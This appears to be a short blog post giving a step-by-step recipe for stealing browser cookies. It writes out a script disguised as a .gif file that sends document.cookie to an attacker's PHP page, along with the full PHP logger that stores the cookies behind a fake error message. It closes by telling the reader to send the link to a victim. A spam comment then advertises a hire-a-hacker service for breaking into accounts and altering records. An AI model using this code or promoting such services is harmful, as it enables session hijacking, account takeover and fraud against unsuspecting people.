Stealing cookies with the help of .gif





To steal cookies of a browser using ".gif" we have to follow the following steps one by one :-

In a notepad copy the script given below
<script>location.href='http://www.yoursite.com/cookielogger.php?cookie'+escape(document.cookie)</SCRIPT>
{yoursite-my3gb}and save it as fun.gif
Now open a new notepad and copy the following
<?php
$filename = "logfile.txt";
if (isset($_GET["cookie"]))
{
if (!$handle = fopen($filename, 'a'))
{
echo "Temporary Server Error,Sorry for the inconvenience.";
exit;
}
else
{
if (fwrite($handle, "\r\n" . $_GET["cookie"]) === FALSE)
{
echo "Temporary Server Error,Sorry for the inconvenience.";
exit;
}
}
echo "Temporary Server Error,Sorry for the inconvenience.";
fclose($handle);
exit;
}
echo "Temporary Server Error,Sorry for the inconvenience.";
exit;
?>
Save it as cookielogger.php

Now save a blank notepad as logfile.txt

Now upload all the 3 files to your webhosting site and send the link to the victim....enjoy!!!

1 comment:

  1. Do you need to increase your credit score?
    Do you intend to upgrade your school grade?
    Do you want to hack your cheating spouse Email, whatsapp, Facebook, instagram or any social network?
    Do you need any information concerning any database.
    Do you need to retrieve deleted files?
    Do you need to clear your criminal records or DMV?
    Do you want to remove any site or link from any blog?
    you should contact this hacker, he is reliable and good at the hack jobs..
    contact : cybergoldenhacker at gmail dot com

    ReplyDelete